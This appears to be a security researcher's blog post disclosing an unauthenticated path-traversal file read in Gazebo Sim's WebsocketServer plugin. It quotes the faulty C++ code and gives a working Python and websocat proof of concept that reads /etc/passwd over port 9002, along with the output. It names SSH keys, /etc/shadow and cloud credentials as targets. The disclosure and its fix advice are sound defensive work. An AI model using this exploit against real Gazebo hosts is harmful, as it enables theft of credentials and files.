· Jimmy Ly · Vulnerabilities  · 4 min read

Unauthenticated Arbitrary File Read in Gazebo Sim WebsocketServer

We found an unauthenticated arbitrary file read in Gazebo Sim's WebsocketServer plugin where a single WebSocket frame reads any file on the server, including /etc/shadow and SSH keys.

We discovered an unauthenticated arbitrary file read in Gazebo Sim’s WebsocketServer system plugin. A single WebSocket frame (asset,/etc/passwd,,) reads any file on the server and returns its full contents to the caller. The vulnerability was confirmed on gz-sim 8.11.0 (Harmonic), Ubuntu 24.04.

High Severity
CVE
Pending
Product
Gazebo Sim 8.11.0 (Harmonic)
Component
WebsocketServer.cc:1132: OnAsset()
CWE
CWE-22: Path Traversal, CWE-36: Absolute Path Traversal
CVSS
7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Fix
Pending
Discovered by
Jimmy Ly

What is Gazebo Sim?

Gazebo is an open-source robotics simulator maintained by Open Robotics. It is widely used in research, education, and industry for testing robot software in physics-accurate virtual environments before deploying to real hardware. The WebsocketServer plugin enables browser-based visualization through gzweb, serving scene data, sensor streams, and model assets over WebSocket on port 9002. It binds to all network interfaces by default.

The Bug

The WebsocketServer has an asset operation designed to serve model meshes and textures to browser clients. The handler, OnAsset, takes a URI from the WebSocket frame and is supposed to resolve it through Gazebo’s resource path system. But a performance shortcut bypasses the resolver entirely, letting any filesystem path through to std::ifstream.

Step 1 - Auto-authorize on connect

When a client connects, OnConnect checks if an <authorization_key> was configured in the SDF. If neither key is set (the default), the connection is immediately marked as authorized.

// WebsocketServer.cc:627-628
c->authorized = this->authorizationKey.empty() &&
                this->adminAuthorizationKey.empty();     // true by default

No credentials, no handshake. Every connection gets full access.

Step 2 - Accept raw filesystem paths

When the client sends asset,/etc/passwd,,, the frame is parsed and dispatched to OnAsset. The handler checks if the URI is already a valid path on disk using common::exists(). If it is, the resolver is skipped entirely.

// WebsocketServer.cc:1132-1134
if (common::exists(assetUri))      // /etc/passwd exists? YES
{
  resolvedPath = assetUri;          // use it directly, no validation
}

This was meant as a performance optimization for SDF files with absolute mesh paths. The developer did not consider that the URI comes from an untrusted network client.

Step 3 - Read and return the file

The path goes straight to std::ifstream, which reads the entire file into memory. The contents are serialized into a protobuf and sent back over the WebSocket.

// WebsocketServer.cc:1153-1156
std::ifstream infile(resolvedPath, std::ios_base::binary);
std::string fileBuffer = std::string(
    std::istreambuf_iterator<char>(infile),
    std::istreambuf_iterator<char>());

No base-directory confinement, no extension allowlist, no path canonicalization. The file contents are delivered to the attacker in a single response.

The Source-to-Sink Chain

WebSocket frame     →  _frameParts[1]  →  assetUri  →  common::exists()  →  resolvedPath  →  std::ifstream  →  client
     source               parse             taint       no validation        propagate           sink            exfil

Proof of Concept

A three-line Python script reads any file from a running Gazebo server:

import websocket
ws = websocket.create_connection('ws://127.0.0.1:9002', timeout=10)
ws.send('asset,/etc/passwd,,')
print(ws.recv())
ws.close()

Or a one-liner:

printf 'asset,/etc/passwd,,' | websocat -n1 ws://target:9002

Output

Runtime-confirmed against gz-sim 8.11.0 in Docker (Ubuntu 24.04):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin

Impact

Any host that can reach the WebsocketServer port (default 9002, bound to all interfaces) can read any file the gz-sim process can access. This includes SSH private keys (~/.ssh/id_rsa), cloud credentials (~/.aws/credentials), simulation configuration files, and system files like /etc/shadow. No authentication is required in the default configuration.

The WebsocketServer is the documented deployment path for gzweb browser visualization, so the exposed population is precisely the set of deployments intended for network access. On robotics testing rigs (HITL/SIL) and GPU training clusters, this gives an attacker access to credentials and configuration data on the simulation host.

Even when an <authorization_key> is configured, the asset handler still applies no path confinement after the auth gate. A low-trust browser visualization user has the same file read capability as root.

Suggested Fix

The root cause is that OnAsset accepts arbitrary filesystem paths from WebSocket clients with no confinement to Gazebo resource directories. Input-based blocklists (rejecting /, .., file://) are insufficient because the Gazebo resource resolver itself handles file:// URIs internally.

The standard mitigation for path traversal is canonical path + base folder confinement: canonicalize the resolved path, then verify it falls under an allowed base directory before opening the file.

Disclosure

There is no SECURITY.md or private vulnerability reporting mechanism in the gz-sim repository, so this was reported as a public bug. A proposed fix branch is at gz-sim#fix/websocket-arbitrary-file-read.

Timeline

DateEvent
2026-05-19Vulnerability discovered
2026-05-19Bug report filed
Back to Blog

Related Posts

View All Posts »
CVE-2023-26360: Adobe ColdFusion

CVE-2023-26360: Adobe ColdFusion

A new module in Google Tsunami Security Scanner to detect a critical vulnerability in Adobe ColdFusion (CVE-2023-26360) that can lead to unauthenticated file read and arbitrary code execution.

Integer Overflow in Bullet3 STL Mesh Parser

Integer Overflow in Bullet3 STL Mesh Parser

We found an integer overflow in Bullet3's STL mesh loader where a crafted triangle count bypasses the sanity check, causing the parser to read 4 GB from an 88-byte heap buffer.

CVE-2023-46805: Ivanti Connect Secure (ICS)

CVE-2023-46805: Ivanti Connect Secure (ICS)

A new module in OWASP Nettacker to detect the presence of a critical vulnerability in Ivanti Connect Secure (ICS) (CVE-2023-46805) that can lead to authentication bypass which is typically chained with a command injection vulnerability (CVE-2024-21887).